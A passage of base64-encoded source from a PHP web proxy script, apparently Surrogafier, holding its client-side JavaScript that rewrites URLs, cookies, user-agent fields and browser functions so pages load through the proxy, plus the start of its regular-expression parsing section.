d0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfF